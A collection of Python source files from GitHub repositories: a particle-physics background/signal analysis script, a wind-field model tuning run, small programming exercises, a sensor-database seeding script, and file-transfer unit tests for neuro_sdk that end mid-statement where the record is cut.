{"seq_id":"24695518785","text":"#!/usr/bin/env python3\nimport argparse\n# import collections.abc\nimport os\nimport time\nimport warnings\nimport math\nimport numpy as np\nimport yaml\n\nimport analysis_utils as au\nimport plot_utils as pu\n\nfrom ROOT import TH1D, TFile, gROOT, TDatabasePDG, TF1\n\n# avoid pandas warning\nwarnings.simplefilter(action='ignore', category=FutureWarning)\ngROOT.SetBatch()\n\n###############################################################################\nparser = argparse.ArgumentParser()\nparser.add_argument('config', help='Path to the YAML configuration file')\nparser.add_argument('-m', '--merged', help='Run on the merged histograms', action='store_true')\nparser.add_argument('-p', '--peak', help='Take signal from the gaussian fit', action='store_true')\nargs = parser.parse_args()\n\nwith open(os.path.expandvars(args.config), 'r') as stream:\n    try:\n        params = yaml.full_load(stream)\n    except yaml.YAMLError as exc:\n        print(exc)\n###############################################################################\n\n###############################################################################\n# define analysis global variables\nN_BODY = params['NBODY']\nPDG_CODE = params['PDG']\nFILE_PREFIX = params['FILE_PREFIX']\nMULTIPLICITY = params['MULTIPLICITY']\nBRATIO = params['BRATIO']\nSIGMA = params['SIGMA']\nEINT = pu.get_sNN(params['EINT'])\nGAUSS = params['GAUSS']\nPT_BINS = params['PT_BINS']\nT = params['T']\n\nEFF_MIN, EFF_MAX, EFF_STEP = params['BDT_EFFICIENCY']\nFIX_EFF_ARRAY = np.arange(EFF_MIN, EFF_MAX, EFF_STEP)\nBKG_MODELS = params['BKG_MODELS']\n\nPEAK_MODE = args.peak\nMERGED = args.merged\n\nLABELS = [f'{x:.2f}_{y}' for x in FIX_EFF_ARRAY for y in BKG_MODELS]\n\n###############################################################################\n# define paths for loading results\nresults_dir = os.environ['RESULTS']\n\ninput_file_name = results_dir + '/' + FILE_PREFIX + f'/{FILE_PREFIX}_results_merged.root' if MERGED else results_dir + '/' + FILE_PREFIX + f'/{FILE_PREFIX}_results.root'\ninput_file = TFile(input_file_name, 'read')\n\noutput_file_name = results_dir + '/' + FILE_PREFIX + f'/{FILE_PREFIX}_results_BS.root'\noutput_file = TFile(output_file_name, 'recreate')\n\n###############################################################################\n\n###############################################################################\n# start the actual signal extraction\nmass = TDatabasePDG.Instance().GetParticle(PDG_CODE).Mass()\npt_spectrum = TF1(\"fpt\", \"x*exp(-TMath::Sqrt(x**2+[0]**2)/[1])\", 0, 100)\npt_spectrum.FixParameter(0, mass)\npt_spectrum.FixParameter(1, T)\nn_events = 0\nfor index in range(0, len(params['EVENT_PATH'])):\n    event_path = os.path.expandvars(params['EVENT_PATH'][index])\n    background_file = TFile(event_path)\n    hist_ev = background_file.Get('hNevents')\n    n_events += hist_ev.GetBinContent(1)\nnsigma = 3\ncent_dir_name = '0-5'\n#cent_dir = output_file.mkdir(cent_dir_name)\n#cent_dir.cd()\n\nh1_eff = input_file.Get(cent_dir_name + '/PreselEff')\nfor ptbin in zip(PT_BINS[:-1], PT_BINS[1:]):\n    ptbin_index = au.get_ptbin_index(h1_eff, ptbin)\n    # get the dir where the inv mass histo are\n    subdir_name = f'pt_{ptbin[0]}{ptbin[1]}'\n    input_subdir = input_file.Get(f'{cent_dir_name}/{subdir_name}')\n    eff_presel = h1_eff.GetBinContent(ptbin_index)\n    # create the subdir in the output file\n    #output_subdir = cent_dir.mkdir(subdir_name)\n    #output_subdir.cd()\n    nbins = int((EFF_MAX-EFF_MIN)/EFF_STEP)\n    hist_BS = TH1D(\"hist_BS_\" + subdir_name, \";BDT efficiency;B/S\", nbins, EFF_MAX, EFF_MIN)\n    #hist_BS.GetXaxis().SetNdivisions(10)\n    hist_BS_efftot = TH1D(\"hist_BS_efftot_\" + subdir_name, \";BDT efficiency;B/S\", nbins, EFF_MAX*eff_presel, EFF_MIN*eff_presel)\n    #hist_BS_efftot.GetXaxis().SetNdivisions(10)\n    hist_Sgn = TH1D(\"hist_Sgn_\" + subdir_name, \";BDT efficiency;Sign/#sqrt{n_{ev}}\", nbins, EFF_MAX , EFF_MIN)\n    #hist_Sgn.GetXaxis().SetNdivisions(10)\n    hist_Sgn_efftot = TH1D(\"hist_Sgn_efftot_\" + subdir_name, \";BDT efficiency;Sign/#sqrt{n_{ev}}\", nbins, EFF_MAX*eff_presel, EFF_MIN*eff_presel)\n    #hist_BS_efftot.GetXaxis().SetNdivisions(10)\n\n    print(\"eff presel: \", eff_presel)\n    print(\"multiplicity: \", MULTIPLICITY)\n    print(\"b-ratio: \", BRATIO)\n    # loop over all the histo in the dir\n    for key in input_subdir.GetListOfKeys():\n        keff = key.GetName()[-4:]\n        #for latter in reversed(key.GetName()[-4:]):\n        hist = TH1D(key.ReadObj())\n        mass_range = [mass - nsigma*SIGMA, mass + nsigma*SIGMA]\n        bkg_counts = 0\n        for index in np.arange(mass_range[0], mass_range[1], hist.GetBinWidth(1)):\n            bkg_counts += hist.GetBinContent(hist.GetXaxis().FindBin(index))\n\n        pt_frac = 1# pt_spectrum.Integral(ptbin[0], ptbin[1], 1e-8) / pt_spectrum.Integral(0, 100, 1e-8)\n        #ct_frac = ct_spectrum.Integral(ctbin[0], ctbin[1], 1e-8) / ct_spectrum.Integral(0, 100, 1e-8)\n\n        print(\"pt_frac: \", eff_presel)\n        sig_counts = MULTIPLICITY*BRATIO*n_events*0.701#*pt_frac#*float(keff)#*ct_frac TODO: fix this stuff\n        print(\"eff: \",keff,\" sig: \",sig_counts,\" bkg: \",bkg_counts,\" B/S\",round(bkg_counts/sig_counts,1),\" bin: \",hist_BS.GetXaxis().FindBin(keff))\n        hist_BS.SetBinContent(hist_BS.GetXaxis().FindBin(keff),bkg_counts/sig_counts)\n        hist_BS_efftot.SetBinContent(hist_BS.GetXaxis().FindBin(keff),bkg_counts/sig_counts)\n        hist_Sgn.SetBinContent(hist_BS.GetXaxis().FindBin(keff),sig_counts/math.sqrt(sig_counts+bkg_counts)/math.sqrt(n_events))\n        hist_Sgn_efftot.SetBinContent(hist_BS.GetXaxis().FindBin(keff),sig_counts/math.sqrt(sig_counts+bkg_counts)/math.sqrt(n_events))\n\n    output_file.cd()\n    hist_BS.Write()\n    hist_BS_efftot.Write()\n    hist_Sgn.Write()\n    hist_Sgn_efftot.Write()\n\noutput_file.Close()\n","repo_name":"galocco/StrangeNA60plusML","sub_path":"common/BSratio.py","file_name":"BSratio.py","file_ext":"py","file_size_in_byte":5751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73878542180","text":"import pandas as pd\nfrom models.MCMC_fourier_windfield import RandomFourierFeatures\n# from models.quadratic_fourier_windfield import FourierWindfield\nfrom models.averaging_windfield import AveragingWindfield\nfrom error_estimation.windfield_prediction import do_parallel_5fold, split_and_save_data\nfrom framework.data_loader import load_parquet\nimport itertools\nimport numpy as np\nfrom pathos.multiprocessing import freeze_support\nfrom sys import path\nfrom os.path import dirname as dir\n\n\n# Prevent matrix inversion from using multiprocessing,\n# Only parallelize the prediction process based on the time slices.\nlet_numpy_use_multiproc = False\nif not let_numpy_use_multiproc:\n    import os\n    os.environ[\"OMP_NUM_THREADS\"] = \"1\" # export OMP_NUM_THREADS=4\n    os.environ[\"OPENBLAS_NUM_THREADS\"] = \"1\" # export OPENBLAS_NUM_THREADS=4\n    os.environ[\"MKL_NUM_THREADS\"] = \"1\" # export MKL_NUM_THREADS=6\n    os.environ[\"VECLIB_MAXIMUM_THREADS\"] = \"1\" # export VECLIB_MAXIMUM_THREADS=4\n    os.environ[\"NUMEXPR_NUM_THREADS\"] = \"1\" # export NUMEXPR_NUM_THREADS=6\n\n\nif __name__ == \"__main__\" and __package__ is None:\n    freeze_support()\n    path.append(dir(path[0]))\n\n    # Folder to put the data in\n    data_folder = \"D:/python_runs/windmodelling/Data/\"\n\n    # Folder to save the runs in\n    save_folder = \"D:/python_runs/windmodelling/Runs/Hyper_optimisation_run/\"\n\n    # Load data\n    data = load_parquet(\"Data/wind_data_2018.parquet\")\n    data = data[data['date'].apply(lambda f: f[0:7]) != '2018-09']      # Remove high outlier data from a storm in september.\n\n    # Divide into time slices and save locally for reference later\n    #split_and_save_data(data, data_folder)      # Comment this out if you already ran the code once\n\n    # Specify parameter grid.\n    # Make sure to copy the grid setup as the filing system does not explicitely keep track of this for you\n    n_terms = 20\n    n_steps = [10]\n    reg_params = np.logspace(-3, 0, 2)\n    div_params = np.logspace(-3, 0, 2)\n    gammas = [1.25]\n    sigmas = [2.25]\n    params = itertools.product(n_steps, reg_params, div_params, gammas, sigmas)\n\n\n    # Generate windfields corresponding to the parameters\n    # Generate save directories for each windfield.\n    # Preallocate lists\n    windfields = []\n    save_folders = []\n    for p in params:\n        n = p[0]\n        r = p[1]\n        d = p[2]\n        g = p[3]\n        s = p[4]\n        windfields.append(RandomFourierFeatures(n_terms=n_terms, n_steps=n, reg_param=r, div_param=d, gamma=g, sigma=s, seed=100))\n        save_folders.append(save_folder + f\"RandomFeatures/{n}/{r}/{d}/{g}/{s}/\")\n\n    do_parallel_5fold(windfields, data_folder, save_folders, processes=7)\n\n# ============ DISCLAIMER ==============================================================\n# The data is now ready for post processing, see multiproc_fourier_features_analysis.py.\n","repo_name":"emastr/div-fourier-publication","sub_path":"multiproc_fourier_features_optimisation.py","file_name":"multiproc_fourier_features_optimisation.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"14173037834","text":"import math\ndef main():\n    n_lines = int(input())\n\n    req = input().split(' ')\n    has = input().split(' ')\n\n    # Find the max number of stuff he can build\n    max_numb = max([math.ceil(int(has[i]) / int(req[i])) for i in range(len(has))])\n\n    output = \"\"\n    for i in range(len(has)):\n        output += str(int(req[i]) * max_numb - int(has[i]))\n        output += \" \"\n    print(output[:-1])\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"wkaisertexas/hs-competitive-programming","sub_path":"CodeWars/2022/Problem12.py","file_name":"Problem12.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26254473397","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSets the default DB rows\n\"\"\"\nfrom models import Sensor, SensorType, Device, Contact, Relay, User\n\n\ndef init(db):\n    try:\n        db.session.query(SensorType).delete()\n        db.session.query(Device).delete()\n        db.session.query(Sensor).delete()\n        db.session.query(Contact).delete()\n        db.session.query(Relay).delete()\n    except:\n        pass\n\n    st_t = SensorType(unit=u'°C', description=u'Temperatura', name='temperature')\n    st_h = SensorType(unit=u'%', description=u'Vlažnost', name='humidity')\n    st_b = SensorType(unit=u'V', description=u'Baterija', name='battery')\n\n    d_zg = Device(description='Zgoraj')\n    d_sp = Device(description='Spodaj')\n\n    zgt = Sensor(sensor_code='ZGT', description='Temperatura (zgoraj)',\n                 max_possible_value=40, max_warning_value=33,\n                 min_possible_value=-10, min_warning_value=20,\n                 observable_measurements=3, observable_alarming_measurements=2,\n                 enable_warnings=True, device=d_zg, type=st_t,\n                 emit_every=5)\n\n    zgb = Sensor(sensor_code='ZGB', description='Baterija (zgoraj)',\n                 max_possible_value=6,\n                 min_possible_value=0, min_warning_value=3.3,\n                 observable_measurements=3, observable_alarming_measurements=2,\n                 enable_warnings=True, device=d_zg, type=st_b,\n                 emit_every=10)\n\n    spb = Sensor(sensor_code='SPB', description='Baterija (spodaj)',\n                 max_possible_value=6,\n                 min_possible_value=0, min_warning_value=3.3,\n                 observable_measurements=3, observable_alarming_measurements=2,\n                 enable_warnings=True, device=d_sp, type=st_b,\n                 emit_every=10)\n\n    spt = Sensor(sensor_code='SPT', description='Temperatura (spodaj)',\n                 max_possible_value=40, max_warning_value=34,\n                 min_possible_value=-10, min_warning_value=20,\n                 observable_measurements=3, observable_alarming_measurements=2,\n                 enable_warnings=True, device=d_sp, type=st_t,\n                 emit_every=5)\n\n    zgh = Sensor(sensor_code='ZGH', description=u'Vlažnost (zgoraj)',\n                 max_possible_value=100, max_warning_value=90,\n                 min_possible_value=0, min_warning_value=10,\n                 observable_measurements=3, observable_alarming_measurements=2,\n                 enable_warnings=False, device=d_zg, type=st_h,\n                 emit_every=5)\n\n    sph = Sensor(sensor_code='SPH', description=u'Vlažnost (spodaj)',\n                 max_possible_value=100, max_warning_value=90,\n                 min_possible_value=0, min_warning_value=10,\n                 observable_measurements=3, observable_alarming_measurements=2,\n                 enable_warnings=False, device=d_sp, type=st_h,\n                 emit_every=5)\n\n    c = Contact(name='Admin', phone='+123456789', email='admin')\n    user = User(email='admin')\n    user.password = 'admin'\n    user.ping()\n\n    for l in ['A', 'B']:\n        for i in range(8):\n            code = '%s%d' % (l, i)\n            description = 'Rele %s' % code\n            db.session.add(Relay(description=description, switch_on_text='ON', switch_off_text='OFF'))\n\n    db.session.add(zgt)\n    db.session.add(spt)\n    db.session.add(zgh)\n    db.session.add(sph)\n    db.session.add(spb)\n    db.session.add(zgb)\n    db.session.add(c)\n    db.session.add(user)\n\n    db.session.commit()\n\n","repo_name":"greginvm/farmcontrol","sub_path":"app/init_db.py","file_name":"init_db.py","file_ext":"py","file_size_in_byte":3475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38541621285","text":"#Найдите сумму цифр трехзначного числа.\nprint(\"Задача 1\")\nn=int(input(\"Введите проверяемое число\"))\nsum=0\nwhile n > 0:\n    digit = n % 10\n    sum += digit\n    n //= 10\nprint(sum)\n\n\n\n#Задача про Катю, Сережу и Петю\nprint(\"Задача 2\")\nimport math\nsuma=int(input(\"Введите общее количество журавликов\"))\nserg=petya=suma//6\nkatya=2*(serg + petya)\nprint(serg, petya, katya)\n\n#проверить введенное число на счастливость: сумма трех первых чисел равна сумме трех последних. всего чисел 6\nprint(\"Задача 3\")\nticket=(input(\"введите шестизначное число      \")) \nif len(ticket)==6:\n     sum1=int(ticket[0])+int(ticket[1])+int(ticket[2])\n     sum2=int(ticket[3])+int(ticket[4])+int(ticket[5])\n     if sum1==sum2:\n         print(\"Ура, вам попался счастливый билетик!\")\n     else:\n         print(\"Увы, вам не повезло, попробуйте в другой день(((((\")\n         # 385916\nelse:\n     print(\"Это не шестизначное число, повторите попытку\")\n\n#Делим шоколадку на дольки\nprint(\"Задача 4\")\npoloska = int(input(\"Сколько полосочек у шоколадки?    \"))\nstolbik = int(input(\"сколько столбиков у шоколадки?    \"))\nkusok = int(input(\"сколько кусочков  шоколадки ты хочешь быстро отломить у другана и сбежать?     \"))\nif kusok < poloska*stolbik and (kusok%stolbik==0 or kusok%poloska==0):\n    print(\"хватай и беги!\")\nelse:\n    print(\"Ну тут постараться придется, друган точно успеет заметить и надавать тебе по лапам)))))\")\n","repo_name":"AleksandraIrbis/Python","sub_path":"Sem1Dz/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41115496674","text":"import errno\nimport os\nimport random\nimport secrets\nimport shutil\nfrom datetime import datetime, timedelta\nfrom pathlib import Path\nfrom typing import Any, List\nfrom unittest import mock\n\nimport pytest\nfrom yarl import URL\n\nfrom neuro_sdk import (\n    AbstractRecursiveFileProgress,\n    StorageProgressComplete,\n    StorageProgressEnterDir,\n    StorageProgressFail,\n    StorageProgressLeaveDir,\n    StorageProgressStart,\n    StorageProgressStep,\n)\nfrom neuro_sdk._file_utils import READ_SIZE, FileTransferer, LocalFS, rm\n\n\n@pytest.fixture()\ndef src_dir(tmp_path_factory: Any) -> Path:\n    return tmp_path_factory.mktemp(\"src_dir\")\n\n\n@pytest.fixture()\ndef dst_dir(tmp_path_factory: Any) -> Path:\n    return tmp_path_factory.mktemp(\"dst_dir\")\n\n\n@pytest.fixture()\ndef transferer() -> FileTransferer[Path, Path]:\n    return FileTransferer(LocalFS(), LocalFS())\n\n\nasync def test_transfer_file(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    (src_dir / \"test_file\").write_bytes(b\"testing\")\n    await transferer.transfer_file(src_dir / \"test_file\", dst_dir / \"test_file\")\n    res = (dst_dir / \"test_file\").read_bytes()\n    assert res == b\"testing\"\n\n\nasync def test_transfer_file_source_not_exists(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    with pytest.raises(FileNotFoundError) as e:\n        await transferer.transfer_file(src_dir / \"test_file\", dst_dir / \"test_file\")\n    assert e.value.args[0] == errno.ENOENT\n\n\nasync def test_transfer_file_source_is_dir(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    (src_dir / \"test_file\").mkdir()\n    with pytest.raises(IsADirectoryError) as e:\n        await transferer.transfer_file(src_dir / \"test_file\", dst_dir / \"test_file\")\n    assert e.value.args[0] == errno.EISDIR\n\n\nasync def test_transfer_file_dest_is_dir(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    (src_dir / \"test_file\").write_bytes(b\"testing\")\n    (dst_dir / \"test_file\").mkdir()\n    with pytest.raises(IsADirectoryError) as e:\n        await transferer.transfer_file(src_dir / \"test_file\", dst_dir / \"test_file\")\n    assert e.value.args[0] == errno.EISDIR\n\n\nasync def test_transfer_file_progress(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    size = 3 * READ_SIZE\n    (src_dir / \"test_file\").write_bytes(b\"0\" * size)\n    progress = mock.Mock()\n    await transferer.transfer_file(\n        src_dir / \"test_file\", dst_dir / \"test_file\", progress=progress\n    )\n    src_url = URL((src_dir / \"test_file\").as_uri())\n    dst_url = URL((dst_dir / \"test_file\").as_uri())\n    progress.start.assert_called_once_with(StorageProgressStart(src_url, dst_url, size))\n    assert [call for call in progress.step.call_args_list] == [\n        ((StorageProgressStep(src_url, dst_url, READ_SIZE, size),),),\n        ((StorageProgressStep(src_url, dst_url, 2 * READ_SIZE, size),),),\n        ((StorageProgressStep(src_url, dst_url, 3 * READ_SIZE, size),),),\n    ]\n    progress.complete.assert_called_once_with(\n        StorageProgressComplete(src_url, dst_url, size)\n    )\n\n\nasync def test_transfer_file_update_dst_newer(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    now = datetime.now()\n    hour_ago = now - timedelta(hours=1)\n\n    (src_dir / \"test_file\").write_bytes(b\"testing\")\n    (dst_dir / \"test_file\").write_bytes(b\"newer data\")\n    os.utime(src_dir / \"test_file\", (hour_ago.timestamp(), hour_ago.timestamp()))\n    os.utime(dst_dir / \"test_file\", (now.timestamp(), now.timestamp()))\n    await transferer.transfer_file(\n        src_dir / \"test_file\", dst_dir / \"test_file\", update=True\n    )\n    res = (dst_dir / \"test_file\").read_bytes()\n    assert res == b\"newer data\"\n\n\nasync def test_transfer_file_update_src_newer(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    now = datetime.now()\n    hour_ago = now - timedelta(hours=1)\n\n    (src_dir / \"test_file\").write_bytes(b\"newer data\")\n    (dst_dir / \"test_file\").write_bytes(b\"tessting\")\n    os.utime(src_dir / \"test_file\", (now.timestamp(), now.timestamp()))\n    os.utime(dst_dir / \"test_file\", (hour_ago.timestamp(), hour_ago.timestamp()))\n    await transferer.transfer_file(\n        src_dir / \"test_file\", dst_dir / \"test_file\", update=True\n    )\n    res = (dst_dir / \"test_file\").read_bytes()\n    assert res == b\"newer data\"\n\n\nasync def test_transfer_file_continue_src_newer(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    now = datetime.now()\n    hour_ago = now - timedelta(hours=1)\n\n    (src_dir / \"test_file\").write_bytes(b\"newer data\")\n    (dst_dir / \"test_file\").write_bytes(b\"testing\")\n    os.utime(src_dir / \"test_file\", (now.timestamp(), now.timestamp()))\n    os.utime(dst_dir / \"test_file\", (hour_ago.timestamp(), hour_ago.timestamp()))\n    await transferer.transfer_file(\n        src_dir / \"test_file\", dst_dir / \"test_file\", continue_=True\n    )\n    res = (dst_dir / \"test_file\").read_bytes()\n    assert res == b\"newer data\"\n\n\nasync def test_transfer_file_continue_dst_newer(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    now = datetime.now()\n    hour_ago = now - timedelta(hours=1)\n\n    (src_dir / \"test_file\").write_bytes(b\"testing   additional data\")\n    (dst_dir / \"test_file\").write_bytes(b\"only test \")\n    os.utime(src_dir / \"test_file\", (hour_ago.timestamp(), hour_ago.timestamp()))\n    os.utime(dst_dir / \"test_file\", (now.timestamp(), now.timestamp()))\n    await transferer.transfer_file(\n        src_dir / \"test_file\", dst_dir / \"test_file\", continue_=True\n    )\n    res = (dst_dir / \"test_file\").read_bytes()\n    assert res == b\"only test additional data\"\n\n\nasync def gen_file_tree(path: Path, depths: int = 2) -> None:\n    if depths > 0:\n        for _ in range(10):\n            dir_name = secrets.token_hex(10)\n            (path / dir_name).mkdir()\n            await gen_file_tree(path / dir_name, depths=depths - 1)\n    for _ in range(10):\n        file_name = secrets.token_hex(10)\n        data = bytearray(random.getrandbits(8) for _ in range(1024))\n        (path / file_name).write_bytes(data)\n\n\nasync def cmp_dirs(path1: Path, path2: Path) -> bool:\n    childs1 = {path.name for path in path1.iterdir()}\n    childs2 = {path.name for path in path2.iterdir()}\n    if childs1 != childs2:\n        return False\n    same = True\n    for child in childs1:\n        if (path1 / child).is_file() and (path2 / child).is_file():\n            same = same and (path1 / child).read_bytes() == (path2 / child).read_bytes()\n        elif (path1 / child).is_dir() and (path2 / child).is_dir():\n            same = same and await cmp_dirs(path1 / child, path2 / child)\n        else:\n            same = False\n    return same\n\n\nasync def test_transfer_dir(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    src = src_dir / \"sub_dir\"\n    src.mkdir()\n    await gen_file_tree(src)\n    await transferer.transfer_dir(src, dst_dir / \"sub_dir\")\n    assert await cmp_dirs(src, dst_dir / \"sub_dir\")\n\n\nasync def test_transfer_dir_dest_exists(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    src = src_dir / \"sub_dir\"\n    src.mkdir()\n    dst = dst_dir / \"sub_dir\"\n    dst.mkdir()\n    await gen_file_tree(src, depths=1)\n    await transferer.transfer_dir(src, dst)\n    assert await cmp_dirs(src, dst)\n\n\nasync def test_transfer_dir_source_not_exists(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    with pytest.raises(FileNotFoundError) as e:\n        await transferer.transfer_file(src_dir / \"sub_dir\", dst_dir / \"sub_dir\")\n    assert e.value.args[0] == errno.ENOENT\n\n\nasync def test_transfer_dir_source_not_dir(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    (src_dir / \"sub_dir\").write_bytes(b\"bbb\")\n    with pytest.raises(NotADirectoryError) as e:\n        await transferer.transfer_dir(src_dir / \"sub_dir\", dst_dir / \"sub_dir\")\n    assert e.value.args[0] == errno.ENOTDIR\n\n\nasync def test_transfer_dir_dest_not_dir(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    (src_dir / \"sub_dir\").mkdir()\n    (dst_dir / \"sub_dir\").write_bytes(b\"bbb\")\n    with pytest.raises(NotADirectoryError) as e:\n        await transferer.transfer_dir(src_dir / \"sub_dir\", dst_dir / \"sub_dir\")\n    assert e.value.args[0] == errno.ENOTDIR\n\n\nasync def test_transfer_dir_progress(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    src = src_dir / \"sub_dir\"\n    src.mkdir()\n    await gen_file_tree(src, depths=1)\n\n    class MockProgress(AbstractRecursiveFileProgress):\n        def __init__(self) -> None:\n            self.entered_dirs: List[StorageProgressEnterDir] = []\n            self.left_dirs: List[StorageProgressLeaveDir] = []\n            self.failed_dirs: List[StorageProgressFail] = []\n            self.started_files: List[StorageProgressStart] = []\n            self.file_steps: List[StorageProgressStep] = []\n            self.completed_files: List[StorageProgressComplete] = []\n\n        def enter(self, data: StorageProgressEnterDir) -> None:\n            self.entered_dirs.append(data)\n\n        def leave(self, data: StorageProgressLeaveDir) -> None:\n            self.left_dirs.append(data)\n\n        def fail(self, data: StorageProgressFail) -> None:\n            self.failed_dirs.append(data)\n\n        def start(self, data: StorageProgressStart) -> None:\n            self.started_files.append(data)\n\n        def complete(self, data: StorageProgressComplete) -> None:\n            self.completed_files.append(data)\n\n        def step(self, data: StorageProgressStep) -> None:\n            self.file_steps.append(data)\n\n    progress = MockProgress()\n    await transferer.transfer_dir(src, dst_dir / \"sub_dir\", progress=progress)\n\n    def _check_progress(path: Path) -> None:\n        for subpath in path.iterdir():\n            src_url = URL(subpath.as_uri())\n            dst_url = URL((dst_dir / \"sub_dir\" / (subpath.relative_to(src))).as_uri())\n            if subpath.is_file():\n                size = subpath.stat().st_size\n                assert any(\n                    start\n                    == StorageProgressStart(\n                        src=src_url,\n                        dst=dst_url,\n                        size=size,\n                    )\n                    for start in progress.started_files\n                )\n                assert any(\n                    step\n                    == StorageProgressStep(\n                        src=src_url,\n                        dst=dst_url,\n                        size=size,\n                        current=size,\n                    )\n                    for step in progress.file_steps\n                )\n                assert any(\n                    finish\n                    == StorageProgressComplete(\n                        src=src_url,\n                        dst=dst_url,\n                        size=size,\n                    )\n                    for finish in progress.completed_files\n                )\n            if subpath.is_dir():\n                assert any(\n                    enter\n                    == StorageProgressEnterDir(\n                        src=src_url,\n                        dst=dst_url,\n                    )\n                    for enter in progress.entered_dirs\n                )\n                assert any(\n                    leave\n                    == StorageProgressLeaveDir(\n                        src=src_url,\n                        dst=dst_url,\n                    )\n                    for leave in progress.left_dirs\n                )\n                _check_progress(subpath)\n\n    _check_progress(src)\n\n\nasync def test_transfer_dir_update(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    now = datetime.now()\n    hour_ago = now - timedelta(hours=1)\n\n    src = src_dir / \"sub_dir\"\n    src.mkdir()\n    dst = dst_dir / \"sub_dir\"\n    dst.mkdir()\n    (src / \"src_newer\").write_bytes(b\"newer data\")\n    (dst / \"src_newer\").write_bytes(b\"testing\")\n    os.utime(src / \"src_newer\", (now.timestamp(), now.timestamp()))\n    os.utime(dst / \"src_newer\", (hour_ago.timestamp(), hour_ago.timestamp()))\n\n    (src / \"dst_newer\").write_bytes(b\"testing\")\n    (dst / \"dst_newer\").write_bytes(b\"newer data\")\n    os.utime(src / \"dst_newer\", (now.timestamp(), hour_ago.timestamp()))\n    os.utime(dst / \"dst_newer\", (hour_ago.timestamp(), now.timestamp()))\n\n    await transferer.transfer_dir(src, dst, update=True)\n    assert (dst / \"src_newer\").read_bytes() == b\"newer data\"\n    assert (dst / \"dst_newer\").read_bytes() == b\"newer data\"\n\n\nasync def test_transfer_dir_continue(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    now = datetime.now()\n    hour_ago = now - timedelta(hours=1)\n\n    src = src_dir / \"sub_dir\"\n    src.mkdir()\n    dst = dst_dir / \"sub_dir\"\n    dst.mkdir()\n    (src / \"src_newer\").write_bytes(b\"newer data\")\n    (dst / \"src_newer\").write_bytes(b\"testing\")\n    os.utime(src / \"src_newer\", (now.timestamp(), now.timestamp()))\n    os.utime(dst / \"src_newer\", (hour_ago.timestamp(), hour_ago.timestamp()))\n\n    (src / \"dst_newer\").write_bytes(b\"               more data\")\n    (dst / \"dst_newer\").write_bytes(b\"already copied\")\n    os.utime(src / \"dst_newer\", (now.timestamp(), hour_ago.timestamp()))\n    os.utime(dst / \"dst_newer\", (hour_ago.timestamp(), now.timestamp()))\n\n    await transferer.transfer_dir(src, dst, continue_=True)\n    assert (dst / \"src_newer\").read_bytes() == b\"newer data\"\n    assert (dst / \"dst_newer\").read_bytes() == b\"already copied more data\"\n\n\nasync def test_transfer_dir_filter(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    src = src_dir / \"sub_dir\"\n    src.mkdir()\n    await gen_file_tree(src, depths=1)\n    skip_dirs = []\n    for path in src.iterdir():\n        if path.is_dir():\n            skip_dirs.append(path.name)\n        if len(skip_dirs) == 3:\n            break\n\n    async def _filter(path: str) -> bool:\n        return not any(skip_dir in path for skip_dir in skip_dirs)\n\n    await transferer.transfer_dir(src, dst_dir / \"sub_dir\", filter=_filter)\n    for skip_dir in skip_dirs:\n        shutil.rmtree(src / skip_dir)\n    assert await cmp_dirs(src, dst_dir / \"sub_dir\")\n\n\nasync def test_transfer_dir_ignore_file_names(\n    transferer: FileTransferer[Path, Path], src_dir: Path, dst_dir: Path\n) -> None:\n    src = src_dir / \"sub_dir\"\n    src.mkdir()\n    await gen_file_tree(src, depths=1)\n    skip_dirs = []\n    for path in src.iterdir():\n        if path.is_dir():\n            skip_dirs.append(path.name)\n        if len(skip_dirs) == 4:\n            break\n    (src_dir / \".cp_ignore\").write_text(\"\\n\".join(skip_dirs[:2]))\n    (src_dir / \"sub_dir\" / \".cp_ignore\").write_text(\"\\n\".join(skip_dirs[2:]))\n\n    await transferer.transfer_dir(\n        src, dst_dir / \"sub_dir\", ignore_file_names={\".cp_ignore\"}\n    )\n    for skip_dir in skip_dirs:\n        shutil.rmtree(src / skip_dir)\n    assert await cmp_dirs(src, dst_dir / \"sub_dir\")\n\n\nasync def test_rm_file(\n    src_dir: Path,\n) -> None:\n    file_path = src_dir / \"file\"\n    file_path.touch()\n    await rm(LocalFS(), file_path, recursive=False)\n    assert not file_path.exists()\n\n\nasync def test_rm_dir(\n    src_dir: Path,\n) -> None:\n    dir_path = src_dir / \"sub_dir\"\n    dir_path.mkdir()\n    await 